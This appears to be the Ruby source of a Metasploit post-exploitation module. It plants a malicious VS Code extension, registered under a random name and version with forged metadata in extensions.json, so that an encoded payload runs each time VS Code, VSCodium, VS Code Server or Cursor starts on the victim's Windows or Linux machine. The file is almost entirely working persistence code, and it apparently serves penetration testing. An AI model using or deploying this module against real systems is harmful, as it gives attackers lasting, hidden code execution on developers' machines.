Path: blob/master/modules/exploits/multi/persistence/vscode_extension.rb
74550 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4# frozen_string_literal: true56class MetasploitModule < Msf::Exploit::Local7Rank = ExcellentRanking89include Msf::Post::File10include Msf::Post::Unix # whoami11include Msf::Exploit::Local::Persistence12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'VS Code Extension Persistence',19'Description' => %q{20This module installs a malicious VS Code extension into the target's21VS Code extensions directory. The extension executes the payload each time22VS Code is launched, providing persistent code execution. Supports VS Code,23VS Code Insiders, VSCodium, VS Code Server, and Cursor.2425Tested against 1.120.0 on Kali and Windows 1026},27'License' => MSF_LICENSE,28'Author' => [29'h00die',30],31'DisclosureDate' => '2015-04-29', # VS Code first public release32'SessionTypes' => ['shell', 'meterpreter'],33'Privileged' => false,34'References' => [35['URL', 'https://code.visualstudio.com/api/get-started/your-first-extension'],36['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],37['ATT&CK', Mitre::Attack::Technique::T1176_SOFTWARE_EXTENSIONS]38],39'Arch' => [ARCH_CMD],40'Platform' => %w[linux windows],41'Payload' => {42'Space' => 8191,43'DisableNops' => true44},45'Targets' => [46['Windows', { 'Platform' => 'windows' }],47['Linux', { 'Platform' => ['unix', 'linux'] }],48# ['OSX', { 'Platform' => 'osx' }] this likely works but I don't have a test environment to verify it, so leaving it out of the target list for now49],50'Notes' => {51'Reliability' => [REPEATABLE_SESSION],52'Stability' => [CRASH_SAFE],53'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]54},55'DefaultTarget' => 056)57)5859register_options([60OptString.new('NAME', [false, 'Name of the extension (Random if left blank)', '']),61OptString.new('PUBLISHER', [false, 'Publisher name for the extension (Random if left blank)', '']),62OptString.new('DESCRIPTION', [false, 'Description of the extension (Random if left blank)', '']),63OptString.new('USER', [false, 'User to target, or current user if blank', '']),64OptPath.new('ICON', [false, 'Local path to an icon file (PNG) to include with the extension']),65OptString.new('VERSION', [false, 'Extension version in major.minor.patch format', '1.0.0'])66])67deregister_options('WritableDir')68end6970def ext_name71@ext_name ||= datastore['NAME'].blank? ? rand_text_alphanumeric(4..10).downcase : datastore['NAME'].downcase72end7374def ext_publisher75@ext_publisher ||= datastore['PUBLISHER'].blank? ? rand_text_alpha(4..8).downcase : datastore['PUBLISHER'].downcase76end7778def ext_version79@ext_version ||= begin80ver = datastore['VERSION'].blank? ? '1.0.0' : datastore['VERSION']81fail_with(Failure::BadConfig, "VERSION must be in major.minor.patch format (e.g. 1.0.0), got: #{ver}") unless ver.match?(/\A\d+\.\d+\.\d+\z/)82ver83end84end8586def ext_dir_name87"#{ext_publisher}.#{ext_name}-#{ext_version}"88end8990def package_json91pkg = {92'name' => ext_name,93'displayName' => ext_name,94'description' => datastore['DESCRIPTION'].blank? ? '' : datastore['DESCRIPTION'],95'version' => ext_version,96'publisher' => ext_publisher,97'engines' => { 'vscode' => '^1.0.0' },98'activationEvents' => ['*'],99'main' => './extension.js'100}101pkg['icon'] = "./#{::File.basename(datastore['ICON'])}" unless datastore['ICON'].blank?102pkg.to_json103end104105def extension_js106template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'vscode_extension', 'extension.js.template')107fail_with(Failure::BadConfig, "Extension template not found: #{template_path}") unless ::File.exist?(template_path)108109::File.read(template_path)110end111112def target_user113return datastore['USER'] unless datastore['USER'].blank?114115return cmd_exec('cmd.exe /c echo %USERNAME%').strip if windows?116117whoami118end119120def windows?121['windows', 'win'].include?(session.platform)122end123124# def osx?125# session.platform == 'osx'126# end127128def vscode_ext_dirs129user = target_user130vprint_status("Target user: #{user}")131132if windows?133[134"C:\\Users\\#{user}\\.vscode\\extensions",135"C:\\Users\\#{user}\\.vscode-insiders\\extensions",136"C:\\Users\\#{user}\\.cursor\\extensions"137]138# when 'osx' — uncomment and add 'osx' to Platform/Targets once verified on macOS139# [140# "/Users/#{user}/.vscode/extensions",141# "/Users/#{user}/.vscode-insiders/extensions",142# "/Users/#{user}/.vscode-oss/extensions",143# "/Users/#{user}/.cursor/extensions"144# ]145else146home = user == 'root' ? '/root' : "/home/#{user}"147[148"#{home}/.vscode/extensions",149"#{home}/.vscode-insiders/extensions",150"#{home}/.vscode-server/extensions",151"#{home}/.vscode-oss/extensions",152"#{home}/.cursor/extensions",153"#{home}/snap/code/current/.config/Code/extensions"154]155end156end157158def check159vscode_ext_dirs.each do |dir|160next unless directory?(dir)161if !windows? && !writable?(dir)162return CheckCode::Appears("VS Code extensions directory found but not writable: #{dir}")163end164165return CheckCode::Appears("VS Code extensions directory found: #{dir}")166end167168CheckCode::Safe('No VS Code extensions directory found')169rescue StandardError => e170CheckCode::Unknown("Error checking for VS Code: #{e.message}")171end172173def vscode_running?174if windows?175!cmd_exec('powershell -Command "Get-Process -Name Code* -ErrorAction SilentlyContinue"').strip.empty?176else177# The [c]ode bracket trick prevents the grep process itself from matching178!cmd_exec('ps -ef 2>/dev/null | grep -i "[c]ode"').strip.empty?179end180end181182# VS Code URI path format for Windows: /c:/users/... (lowercase drive, forward slashes)183def uri_path(full_path)184return full_path unless windows?185186'/' + full_path.gsub('\\', '/').sub(/^([A-Za-z]):/) { "#{::Regexp.last_match(1).downcase}:" }187end188189def register_extension(ext_base, ext_dir)190sep = windows? ? '\\' : '/'191index_path = "#{ext_base}#{sep}extensions.json"192193extensions = []194if file?(index_path)195print_status('Reading extensions.json...')196begin197extensions = JSON.parse(read_file(index_path))198# Remove any stale entry for this extension id199extensions.reject! { |e| e.dig('identifier', 'id')&.casecmp?("#{ext_publisher}.#{ext_name}") }200rescue JSON::ParserError => e201print_warning("Could not parse extensions.json: #{e.message} - starting fresh")202extensions = []203end204end205206entry = {207'identifier' => { 'id' => "#{ext_publisher}.#{ext_name}" },208'version' => ext_version,209'location' => {210'$mid' => 1,211'fsPath' => ext_dir,212'path' => uri_path(ext_dir),213'scheme' => 'file'214},215'relativeLocation' => ext_dir_name,216'metadata' => {217'id' => SecureRandom.uuid,218'publisherId' => SecureRandom.uuid,219'publisherDisplayName' => ext_publisher,220'targetPlatform' => 'undefined',221'isPreReleaseVersion' => false,222'hasPreReleaseVersion' => false,223'installedTimestamp' => (Time.now.to_f * 1000).to_i,224'pinned' => false,225'isApplicationScoped' => false,226'updated' => false,227'preRelease' => false228}229}230231extensions << entry232write_file(index_path, JSON.generate(extensions))233print_good("Registered extension in #{index_path}")234index_path235end236237def install_persistence238print_status("Using extension: #{ext_dir_name}")239240ext_base = vscode_ext_dirs.find { |dir| directory?(dir) }241fail_with(Failure::NotFound, 'No VS Code extensions directory found') if ext_base.nil?242243print_status("Installing to: #{ext_base}")244245sep = windows? ? '\\' : '/'246ext_dir = "#{ext_base}#{sep}#{ext_dir_name}"247248unless directory?(ext_dir)249print_status("Creating extension directory: #{ext_dir}")250mkdir(ext_dir, cleanup: false)251end252253pkg_path = "#{ext_dir}#{sep}package.json"254fail_with(Failure::UnexpectedReply, "Failed to write #{pkg_path}") unless write_file(pkg_path, package_json)255print_good("Wrote package.json to #{pkg_path}")256257js_path = "#{ext_dir}#{sep}extension.js"258fail_with(Failure::UnexpectedReply, "Failed to write #{js_path}") unless write_file(js_path, extension_js)259print_good("Wrote extension.js to #{js_path}")260261unless datastore['ICON'].blank?262icon_data = ::File.binread(datastore['ICON'])263fail_with(Failure::BadConfig, "ICON is not a valid PNG file: #{datastore['ICON']}") unless icon_data.b.start_with?("\x89PNG\r\n\x1a\n".b)264265icon_path = "#{ext_dir}#{sep}#{::File.basename(datastore['ICON'])}"266fail_with(Failure::UnexpectedReply, "Failed to write #{icon_path}") unless write_file(icon_path, icon_data)267print_good("Wrote icon to #{icon_path}")268end269270ext_path = "#{ext_dir}#{sep}external"271fail_with(Failure::UnexpectedReply, "Failed to write #{ext_path}") unless write_file(ext_path, [payload.encoded].pack('m0'))272print_good("Wrote payload to #{ext_path}")273274register_extension(ext_base, ext_dir)275276if vscode_running?277print_warning('VS Code is currently running - restart VS Code to activate the extension.')278else279print_status('VS Code is not running - launch it to trigger the extension.')280end281282@clean_up_rc << "rm -rf \"#{ext_dir}\"\n"283end284end285286287